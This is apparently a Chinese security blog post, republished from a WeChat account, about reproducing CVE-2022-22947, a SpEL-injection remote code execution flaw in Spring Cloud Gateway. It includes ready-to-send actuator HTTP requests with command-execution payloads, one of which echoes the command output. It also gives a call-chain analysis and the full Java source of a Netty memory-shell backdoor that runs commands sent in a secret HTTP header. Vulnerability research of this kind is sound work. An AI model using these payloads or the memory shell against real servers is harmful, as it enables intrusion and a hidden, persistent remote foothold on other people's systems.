漏洞环境搭建
github地址
https://github.com/spring-cloud/spring-cloud-gateway
漏洞影响版本
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
本地采用3.1.0复现
漏洞poc
(1)添加路由
POST /actuator/gateway/routes/test HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 230
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder("calc").start()}"
}
}],
"uri": "https://www.baidu.com"
}
(2)刷新路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 228
漏洞分析
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/ https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw
根据巨人们的肩膀,漏洞触发为spel表达式注入。
看官方补丁
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
通过下图的补丁对比,能发现以前是利用StandardEvaluationContext,而现在换成了GatewayEvaluationContext。我们先来分析一下利用
通过回溯方法调用,发现在ShortcutType这个枚举中进行了调用,分别在DEFAULT,GATHER_LIST,GATHER_LIST_TAIL_FLAG这三个枚举值中被调用。
这里有四出引用,正常情况下我们需要跟踪引用到可控的参数点,这里直接借助参考文章去看。引用路线为ShortcutConfigurable.shortcutType调用DEFAULT枚举,而ConfigurationService#normalizeProperties调用shortcutType()
normalizeProperties主要是解析配置文件,上线根据方法跟踪调用链,发现确实是添加了filter,解析配置导致的spel表达式解析。
调试分析
AbstractGatewayControllerEndpoint下断点
RouteDefinition 路由的相关信息
id 名称
调用validateRouteDefinition,能看出来这里的限制条件1,需要添加的filter已知,所以我们遍历一下存在的filter就行。
动态调试获取存在的GatewayFilters
for (int i = 0; i < this.GatewayFilters.toArray().length; i++) {
System.out.println(this.GatewayFilters.toArray()[i].name());
}
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize
那么如何来构造一个filter呢,这里我们构造的AddResponseHeader,所以我们全局搜索一下,最终在这里发现了需要传入name和value,再配合我们前面的限制条件,我们构造出如下poc,其中RouteDefinition需要id,filter(已存在,根据我们选择的filter自行修改参数),uri
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder("calc").start()}"
}
}],
"uri": "https://www.baidu.com"
}
接下来继续看看触发点,下断点在ShortcutConfigurable#tValue
触发点在于Expression.getValue(),我们来看看调用栈,主要是关注spring相关的
,这里我稍微整合整合一下
getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, RouteDefinitionRouteLocator$$Lambda$1019/0x0000000801183c30 (org.springframework.cloud.gateway.route)
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)
apply:-1, InvocableHandlerMethod$$Lambda$1138/0x0000000801202148 (org.springframework.web.reactive.result.method)
此时我们再来分析到底这个payload如何进行传递的
入口点位于AbstractGatewayControllerEndpoint#refresh,我们通过查看变量,发现我们添加的filters是对应保存在AbstractGatewayControllerEndpoint的routeDefinitionWriter中,他是一个接口,最终保存在实现类InMemoryRouteDefinitionRepository中。
通过一系列的spring事件处理,来到了RouteDefinitionRouteLocator#convertToRoute,调用getFilters
由于我们添加了filter,所以routeDefinition不为null,然后调用addAll()添加routeDefinition,内部调用loadGatewayFilters,从这里也能看出来,必须要存在的filterDefinitions才能触发,否则会爆不存在的错误。
后续调用properties(),bind()完成触发,前面已经分析过了不再重复分析。
命令回显
对于回显的问题,最简单的就是拿到response。所以我们需要分析,在触发的过程中,哪些请求会携带response。这里借助P牛VULHUB的环境来测试(github直接下的windows下未知原因我测试失败了)
流程为创建路由-》刷新配置-》访问路由,这里就给创建路由的payload,自己搭环境
根据需要修改执行的命令
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
当我们访问的时候,能发现会调用apply方法,此方法里存在getResponse,会将配置自动写入。
我们访问路由的时候,会调用serialize,将信息写入到map中,最后返回到body内。
基于这个,我们找一个RedirectTo来进行构造,发现利用失败了,看看代码,发现需要状态码为3xx,URL存在一个create,如果格式错误则会抛出异常。所以也可以选择其他的,当然两步条件能选择两个去构造,这里就不继续了。
内存马
内存马参考
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
原理分析了重新发,这里就只记录一下步骤就行了。
(1)netty class转base64 全包类名
(2)创建路由
(3)刷新路由 执行命令
转base64代码
byte[] readAllBytes = Files.readAllBytes(new File("C:\Users\yzc\Downloads\spring-cloud-gateway-3.1.0\spring-cloud-gateway-server\target\classes\tes.class").toPath());
String imgStr = Base64Utils.encodeToString(readAllBytes);
System.out.println(imgStr);
内存马代码,来源参考链接
public class tes extends io.netty.channel.ChannelDuplexHandler implements reactor.netty.ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
java.lang.reflect.Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < java.lang.reflect.Array.getLength(threads); i++) {
Object thread = java.lang.reflect.Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
java.lang.reflect.Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
java.lang.reflect.Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
java.lang.reflect.Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new tes());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public void onChannelInit(reactor.netty.ConnectionObserver connectionObserver, io.netty.channel.Channel channel, java.net.SocketAddress socketAddress) {
io.netty.channel.ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new tes());
}
public void channelRead(io.netty.channel.ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof io.netty.handler.codec.http.HttpRequest){
io.netty.handler.codec.http.HttpRequest httpRequest = (io.netty.handler.codec.http.HttpRequest)msg;
try {
if(httpRequest.headers().contains("e0mlja")) {
if(httpRequest.headers().get("e0mlja").equals("e0mlja")) {
String cmd = httpRequest.headers().get("e0m");
String execResult = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next();
send(ctx, execResult, io.netty.handler.codec.http.HttpResponseStatus.OK);
return;
}
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(io.netty.channel.ChannelHandlerContext ctx, String context, io.netty.handler.codec.http.HttpResponseStatus status) {
io.netty.handler.codec.http.FullHttpResponse response = new io.netty.handler.codec.http.DefaultFullHttpResponse(io.netty.handler.codec.http.HttpVersion.HTTP_1_1, status, io.netty.buffer.Unpooled.copiedBuffer(context, io.netty.util.CharsetUtil.UTF_8));
response.headers().set(io.grpc.netty.shaded.io.netty.handler.codec.http.HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(io.netty.channel.ChannelFutureListener.CLOSE);
}
public static void main(String[] args) {
}
}
还有一部分没有分析,比如除了filter还有predicates没有分析。
原文始发于微信公众号(e0m安全屋):Spring Cloud Gateway RCE+内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论